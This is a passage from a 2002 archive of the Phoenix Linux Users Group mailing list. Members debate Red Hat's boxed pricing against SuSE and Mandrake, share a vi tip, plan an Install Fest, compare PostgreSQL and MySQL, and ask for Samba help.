Mandrake give you good > size manuals with plenty of information packed in them. Also SuSE > Professional is only $79.95 and comes with 7 cd's and one DVD. The DVD had > everything all 7 cd's have and you don't have to do any disk swaps. > > I have worked with Redhat, Mandrake, and SuSE and > it seems that Redhat lags far behind the competitors. Try to install > Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS > > format, Redhat won't even make an entry for Windows XP in lilo. I > can imagine the panic attack a newbies face after the redhat install and the > only option is Redhat. LOL That is of course if you can get Redhat > to install in the first place. It don't like being on a second drive or on a > partiton with windows that's any larger than 8 gigs. > > SuSE has always installed on any drive no matter > what the size or what drive since version 7.1 and earlier maybe. > This is a serious issue that Redhat needs to address. > > I dunno, I just don't see how the cost of > Redhat boxed distro's is justified. Maybe i'm missing the point? Is > there anyone out there that can show me the point? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:00:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 27 Jun 2002 10:00:04 -0700 Subject: Install fest interest generation In-Reply-To: References: Message-ID: <1025197204.12852.8.camel@bryceco1> That's when I got interested in Linux. The 6th grade (first year of middle school). From that became 9 different computers all running Linux. Thanks Mr. G. Green, wherever you are. On Thu, 2002-06-27 at 09:25, Tom Emerson wrote: > High Schools and the Junior/Middle Schools too. Be nice to spark an > interest at the Middle School level. > > Reaching back in memory, middle school, we had access to the County's > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > school, and punch cards, what a let-down.) My son's computer education > isn't too bad, but is limited to very basic office app's (M$). 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________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > =JDmD > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:11:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Thu, 27 Jun 2002 10:11:53 -0700 (MST) Subject: scripts in vi In-Reply-To: <3D1B4128.6020607@ttiltd.com> Message-ID: On Thu, 27 Jun 2002, Greg wrote: > For example a script that would insert a date into a document. > + Press ESC (i.e. make sure 'vi' is not in an insert-mode) + Go to the spot in your file where you want to insert the output of a command. + Execute the command using the 'r'ead command as follows... :r !date Example: I'm using 'vi' right now at Thu Jun 27 10:08:49 MST 2002 --- What is :r !date ? Enter into colon : mode (also know as 'ed' mode) and execute the 'r'ead command followed by ! and then a command-line. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:33:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 00:33:45 -0400 (EDT) Subject: Install Fest II 0626 Status Message-ID: All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:16:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Chris Cowan) Date: Tue, 25 Jun 2002 10:16:44 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> Message-ID: <20020625171645.72D3950C005@hydra.ctprm.com> For the record, I agree with Joel. Chris Cowan Chief Hybrid UberMonkey Centralized Institute for Applied Neuroinformatics On Tuesday 25 June 2002 08:11 am, you wrote: > In my opinion the speed difference between PostgreSQL and MySQL is > negligible. Tim Perdue from SourceForge did a study a while back > demonstrating that the newer PostgreSQL was actually faster than MySQL in > some cases. Trigger and PL support in PGSQL is very nice and I have never > been let down by PostgreSQL. PostgreSQL is the foundational database for > all of my Genomics research projects. I am transparently bias on the > subject because I have been burned by MySQL a few times so take that into > consideration. A replication daemon for PostgreSQL is also coming along > nicely. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ > > > -----Original Message----- > From: William Lindley [mailto:wlindley@wlindley.com] > Sent: Monday, June 24, 2002 9:13 PM > To: Phoenix Linux Users Group > Subject: Re: PostgreSQL versus MySQL (fwd) > > > In response to the earlier question, Scott Walters > who is not on the PLUG list writes: > > -------- > > PostgreSQL supports triggers, constraints, PL, subqueries, and serveral > other things. > > MySQL supports replication, precompiled queries (huge speed up on resident > code), and is optimized for throughput in addition to speed. > > Both of them are very fast, and out perform almost all commercial > databases, hands down. > > I wouldn't sweat it too much either way unless you specificly need a > feature that only one or the other has. They are both excellent systems. > > I'd use MySQL where speed was the biggist factor. > > I'd use Postgres where complex reporting or building a large > ("Enterprise") data warehouse was the concern. > > -scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:24:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Wed, 26 Jun 2002 10:24:43 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D19F8DB.7070009@rogersdirect.com> Are you able to play Region 1 DVD's? I am only able to play region free DVD's on Mandrake 8.2 bob smith wrote: >Hello Kyle, Welcome aboard. > > > >>Anyways, I'd like to extend my thanks to everyone in >>and running this >>group; You guys really do a stellar job. >> >> >> > > > >>-Kyle >>Linux: It's a good thing. >> >> >Don't forget Tux's pitchfork toting cousin :). I just >got perfect dvd playback in freebsd which is something >I never could accomplish in Linux (My own fault though >I would assume since I'm using the linux modules to do >this). Just out of curiosity was there any mention of >FreeBSD at the latest installfest? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:16:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 12:16:28 -0700 Subject: Crappy Products cost more. Message-ID: <000e01c21d45$fcc8c440$0e02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C21D0B.4C6D1C20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is it my imagination or does it seem that the worst products always = costs more. ie. If you want Windows XP you plan on paying $179. for = the home version and more for the professional version. Again with = RedHat you have a $79.95 personal or workstation edition and comes with = 3 cd's. Get the professional version for around $199.00 and i'm not = sure how many cd's come with it. Is RedHat trying to compete with = Microsoft on who can supply the most expensive product? Before anyone goes off saying well you can just download the distro and = don't have to pay those prices. I am thinking of the newbies. I would = never hand a newbie 3 cd's and say here ya go. I would like to have the = documentation to go with it. Of course Redhat and Windows both give you = wafer thin manuals. SuSE and Mandrake give you good size manuals with = plenty of information packed in them. Also SuSE Professional is only = $79.95 and comes with 7 cd's and one DVD. The DVD had everything all 7 = cd's have and you don't have to do any disk swaps. I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat = lags far behind the competitors. Try to install Redhat on a seperate = hard disk with Windows XP on the first hard disk in NTFS format, Redhat = won't even make an entry for Windows XP in lilo. I can imagine the = panic attack a newbies face after the redhat install and the only option = is Redhat. LOL That is of course if you can get Redhat to install in = the first place. It don't like being on a second drive or on a partiton = with windows that's any larger than 8 gigs. SuSE has always installed on any drive no matter what the size or what = drive since version 7.1 and earlier maybe. This is a serious issue that = Redhat needs to address. I dunno, I just don't see how the cost of Redhat boxed distro's is = justified. Maybe i'm missing the point? Is there anyone out there that = can show me the point? ------=_NextPart_000_0009_01C21D0B.4C6D1C20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is it my imagination or does it seem = that the worst=20 products always costs more.  ie.  If you want Windows XP you = plan on=20 paying $179. for the home version and more for the professional = version. =20 Again with RedHat you have a $79.95 personal or workstation edition and = comes=20 with 3 cd's.  Get the professional version for around $199.00 and = i'm not=20 sure how many cd's come with it.  Is RedHat trying to compete with=20 Microsoft on who can supply the most expensive product?
 
Before anyone goes off saying well you = can just=20 download the distro and don't have to pay those prices.  I am = thinking of=20 the newbies.  I would never hand a newbie 3 cd's and say here ya = go. =20 I would like to have the documentation to go with it.  Of course = Redhat and=20 Windows both give you wafer thin manuals.  SuSE and Mandrake give = you good=20 size manuals with plenty of information packed in them.  Also SuSE=20 Professional is only $79.95 and comes with 7 cd's and one DVD.  The = DVD had=20 everything all 7 cd's have and you don't have to do any disk = swaps.
 
I have worked with Redhat, Mandrake, = and SuSE and=20 it seems that Redhat lags far behind the competitors.  Try to = install=20 Redhat on a seperate hard disk with Windows XP on the first hard disk in = NTFS=20 format,  Redhat won't even make an entry for Windows XP in = lilo.  I=20 can imagine the panic attack a newbies face after the redhat install and = the=20 only option is Redhat.  LOL  That is of course if you can get = Redhat=20 to install in the first place. It don't like being on a second drive or = on a=20 partiton with windows that's any larger than 8 gigs.
 
SuSE has always installed on any drive = no matter=20 what the size or what drive since version 7.1 = and earlier maybe. =20 This is a serious issue that Redhat needs to address.
 
I dunno,  I just don't see how the = cost of=20 Redhat boxed distro's is justified.  Maybe i'm missing the = point?  Is=20 there anyone out there that can show me the point?
 
 
------=_NextPart_000_0009_01C21D0B.4C6D1C20-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:38:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 10:38:23 -0700 Subject: (no subject) In-Reply-To: <3D1B01AB.1D1DC61D@georgetoft.com> References: <001b01c21d99$58560770$2f7c0d82@peyote> <3D1B01AB.1D1DC61D@georgetoft.com> Message-ID: <200206271038.23374.zen2now@qwest.net> On Thursday 27 June 2002 05:14 am, George Toft wrote: > When a business person looks at a shift in technology, they must > consider retraining and migration costs. I spend about and hour per day > (less now that we fixed a glaring design error from a Big 5 Consulting > firm that we paid almost 7 figures to) talking with people who are > confused by a statement like this: "Please answer three of the five > questions below." This is demonstrated to me daily as people answer all > five questions. > > There is a substantial difference between you/me, and the average > corporate PC user. Business must take these factors into account when > making migration and upgrade plans. Enlightenment is eye-candy, and not > well suited for a business setting - business needs consistency, > reliability and repeatability. A system that is consistent with what > most people are used to is important. This is all very true and valid, but like i said before i could never see Enlightenment as the main focus of comparisons. In a business enviornment KDE is the most mature choice IMHO, its stable and has great M$ office support. it is what i run on my primary workstation here at work, as we are actively working on migrating users machines over to Linux, and KDE 3.0 is winning over Gnome. But, Install Fests arent totally geared towards business conversions anyway, right? werent they were brought about by the need to help people install Linux, not to sell them on what Desktop enviornment they should use. Enlightenment is total Eye-Candy, but very functional, configurable and stable Eye-Candy when not running on top of Gnome. so yes there is a substantial difference between you/me and the average corporate user. but there are those people who fall into the catagory of you/me that make their way to install fests, and these may people enjoy seeing the many faces of Linux. :~D slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:35:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 27 Jun 2002 10:35:30 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> Message-ID: <200206271035.36935.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > main applications I want to use. KDE released ver 3.1 several weeks ago. Just for clarification, KDE 3.1 has not been released. Rather it is version 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the release announcement soon.) I also remember an allusion to "K-Mail 3.1" earlier, which I assume was referring to KMail 1.4.1 (the version that comes with 3.0.1). If you are interested in the KDE 3.1 release schedule, it may be found here: http://developer.kde.org/development-versions/kde-3.1-release-plan.html - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm 5f2zNPQR/Ixau1NJ67Q2b3w= =ojSL -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:05:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 11:05:42 -0700 Subject: Install fest interest generation References: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> <20020627094623.5d77cc96.mlowman@firstlinux.net> Message-ID: <008801c21e05$407144f0$0301010a@tickticker.com> i learned assembly and pascal in HS in michigan..... ----- Original Message ----- From: "Michelle Lowman" To: Sent: Thursday, June 27, 2002 9:46 AM Subject: Re: Install fest interest generation > Many of my Linux students are school tech coordinators (they're all in KS, tho). I'll keep this in mind and see if I can contact some local tech coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > Michelle Lowman > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > Tom Emerson wrote: > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > interest at the Middle School level. > > > > Reaching back in memory, middle school, we had access to the County's > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > school, and punch cards, what a let-down.) My son's computer education > > isn't too bad, but is limited to very basic office app's (M$). Next > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > monitor). > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > there _will_ be an interest at the middle school level. > > > > - tom e. > > ---------- > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > How about advertising the Installfest in the local school systems? The > > local high schools are probably full of the curious. And students like > > free:-) > > > > It wouldn't take much get the message out to the schools, perhaps posting it > > in the computer labs. then again, IANAE (I am not an educator) but some on > > this list are. > > > > anthony > > > > ----- Original Message ----- > > From: "Jim" > > To: > > Sent: Wednesday, June 26, 2002 6:47 PM > > Subject: Re: (no subject) > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Install Fests generally attract the curious and the convinced. They are > > > either convinced that they want to switch to Linux or they are curious. > > They > > > are also usually Joe Sixpack types who are getting on the clue train or > > > geeks-in-training who know that there is a lot of fun under the hood. Not > > too > > > many suits show up. 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:13:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 27 Jun 2002 14:13:54 -0400 Subject: Samba Help?? Message-ID: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? Carl P. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:08:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 11:08:13 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. -----Original Message----- From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] Sent: Thursday, June 27, 2002 10:36 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > main applications I want to use. KDE released ver 3.1 several weeks ago. Just for clarification, KDE 3.1 has not been released. Rather it is version 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the release announcement soon.) I also remember an allusion to "K-Mail 3.1" earlier, which I assume was referring to KMail 1.4.1 (the version that comes with 3.0.1). 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:25:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 11:25:29 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B536@mail.int.fh.org> When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Thursday, June 27, 2002 11:06 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation i learned assembly and pascal in HS in michigan..... ----- Original Message ----- From: "Michelle Lowman" To: Sent: Thursday, June 27, 2002 9:46 AM Subject: Re: Install fest interest generation > Many of my Linux students are school tech coordinators (they're all in KS, tho). I'll keep this in mind and see if I can contact some local tech coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > Michelle Lowman > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > Tom Emerson wrote: > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > interest at the Middle School level. > > > > Reaching back in memory, middle school, we had access to the County's > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > school, and punch cards, what a let-down.) My son's computer education > > isn't too bad, but is limited to very basic office app's (M$). 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:35:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 11:35:14 -0700 Subject: Membership database In-Reply-To: <5.1.0.14.0.20020626203832.025352a0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <02062711351412.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My thoughts on a member database. I think it is a great idea. As of right now, we have little information about who is subscribed to any of the mailing lists, other than their mail address. Some people might consider that a "good thing". Any membership information should be gathered voluntarily. We should not require anyone to add information to the database. We should warn them that we will collect at least the email address that they are using to subscribe to a list for the membership database. We do, after all, consider anyone subscribed to any of our mail lists as a PLUG member (makes our numbers look really great). I bet we could get Brian to capture a snapshot of the current subscribers' email addresses from Mailman. We could them mass-email all subscribers pointing them to a yet-to-be built web page with a form to fill out as much or as little information as they want in the database. I bet we could even set up a mechanism to send new subscribers to get sent there automatically. Probably should set up a way to delete data when someone unsubscribes. This is tougher because a person may be subscribed to all the lists but only be unsubscribing from one or two. As far a web space for members, how much space do we have available that we can use for members' pages? It is one thing to search the database and display data about one member, but it will take a lot more space if we set aside even 1M of space for every member. It will take some resources for the database web page that collects the data and for the database and for the scripts that need to be written. It will take more space to search and display routines based on criteria input (sounds like a job for our PhP gurus). All in all, I consider this a great project. It would be even greater if we release all the tools after it is done. I am almost surprised that another UG has not done something like this already. So what do we need in terms of hardware, software, and manpower? Who is gonna organize it? How many members would be interested in participating? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t qR5NkSwamOTOgLRJ+rIAeJDg =XeNW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:47:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 11:47:39 -0700 Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <02062711473913.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too late, Carl ::grin:: On Thursday 27 June 2002 11:13, you wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a > problem now my Samba is fubared. I've restarted /usr/bin/smbd and > /usr/bin/nmbd but now I can't see any of the window boxes on the network > anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRtdyysk3ywszI1FEQL9HQCgppybd32W54WcoXxuujTln+uQYZkAoOu6 NO8W5AXnnLvebNqFIB23wcY1 =d6FU -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 19:33:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 27 Jun 2002 12:33:18 -0700 (PDT) Subject: Crappy Products Cost More!! Message-ID: <20020627193318.32149.qmail@web10605.mail.yahoo.com> I'll have to agree with Tom. When I first purchased Red Hat 7.2, I registered as a user for their 'free' tech support for 30 days. I didn't fell right paying for Linux, but thought the 30-day support would be worth it (I'm new Linux user). When I 